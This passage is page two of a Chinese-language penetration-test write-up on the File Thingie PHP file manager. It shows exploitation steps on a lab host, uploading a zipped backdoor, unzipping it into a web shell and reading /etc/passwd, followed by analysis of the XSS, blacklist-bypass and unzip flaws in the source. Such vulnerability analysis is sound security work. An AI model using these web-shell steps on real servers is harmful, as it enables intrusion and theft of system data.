针对File Thingie从XSS到文件上传再到RCE的渗透过程

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
http://192.168.188.155/filethingie/ft2.php?dir=/Test
POST参数如下所示:
newvalue=backdoor.zip&file=backdoor.zip&act=unzip
从下图中可以看出,后门文件backdoor.php在Test目录下解压成功:

3.执行任意代码:
在后门文件解压成功之后,渗透测试可以说是基本已经成功,下面就是执行定制代码。通过构造如下URL,查看/etc/passwd的内容:
http://192.168.188.155/filethingie/Test/backdoor.php?cmd=cat%20/etc/passwd
/etc/passwd的内容如下图所示:

构造URL查看/proc/version的内容,URL如下所示:
http://192.168.188.155/filethingie/Test/backdoor.php?cmd=cat%20/proc/version
/proc/version的内容如下图所示:

漏洞分析
1.第一段源代码具体如下所示:
  $('#filelist').ft_filelist({
    fileactions: ft.fileactions,
    rename_link: "",
    move_link: "",
    del_link: "",
    duplicate_link: "",
    unzip_link: "",
    chmod_link: "",
    symlink_link: "",
    rename: "",
      move: "",
      del: "",
      del_warning: "",
      del_button: "",
      duplicate: "",
      unzip: "",
      unzip_button: "",
      chmod: "",
      symlink: "",
    directory: "",
    ok: "",
    formpost: "",
    advancedactions: ""
  });
其中,语句directory: “”,没有对通过get方式获取到的dir参数进行任何过滤,直接就回显给了客户端,那么就导致了反射型XSS的产生。
2.第二段源代码具体如下所示:
  $ft["settings"]["FOLDERBLACKLIST"]   = "plugins js css locales data";
  $ft["settings"]["FILETYPEBLACKLIST"] = "php phtml php3 php4 php5";
  $ft["settings"]["FILETYPEWHITELIST"] = "";
  $ft["settings"]["ADVANCEDACTIONS"]   = FALSE;
  $ft["settings"]["LIMIT"]             = 0;
  $ft["settings"]["REQUEST_URI"]       = FALSE;
  $ft["settings"]["HTTPS"] = FALSE;
  $ft["settings"]["REMEMBERME"]        = FALSE;
  $ft["settings"]["PLUGINDIR"]         = 'plugins';
其中,语句$ft["settings"]["FILETYPEBLACKLIST"] = “php phtml php3 php4 php5″;定义了限制上传的文件类型,包括php、phtml、php3、php4以及php5,因此之前上传1.php失败;但是并未限制zip文件的上传,因此backdoor.zip上传成功。
3.第三段源代码具体如下所示:
      elseif ($_REQUEST['act'] == "unzip" && ft_check_fileactions() === TRUE) {
   // Check that file is set.
   $file = ft_stripslashes($_REQUEST['file']);
   if (!empty($file) && ft_check_file($file) && ft_check_filetype($file) && strtolower(ft_get_ext($file)) == 'zip' && is_file(ft_get_dir()."/".$file)) {
     $escapeddir = escapeshellarg(ft_get_dir()."/");
     $escapedfile = escapeshellarg(ft_get_dir()."/".$file);
    if (!@exec("unzip -n ".$escapedfile." -d ".$escapeddir)) {
          ft_set_message(t("!old could not be unzipped.", array('!old' => $file)), 'error');
     ft_redirect("dir={$_REQUEST['dir']}");
    } else {
          ft_set_message(t("!old unzipped.", array('!old' => $file)));

上一页  [1] [2] [3]  下一页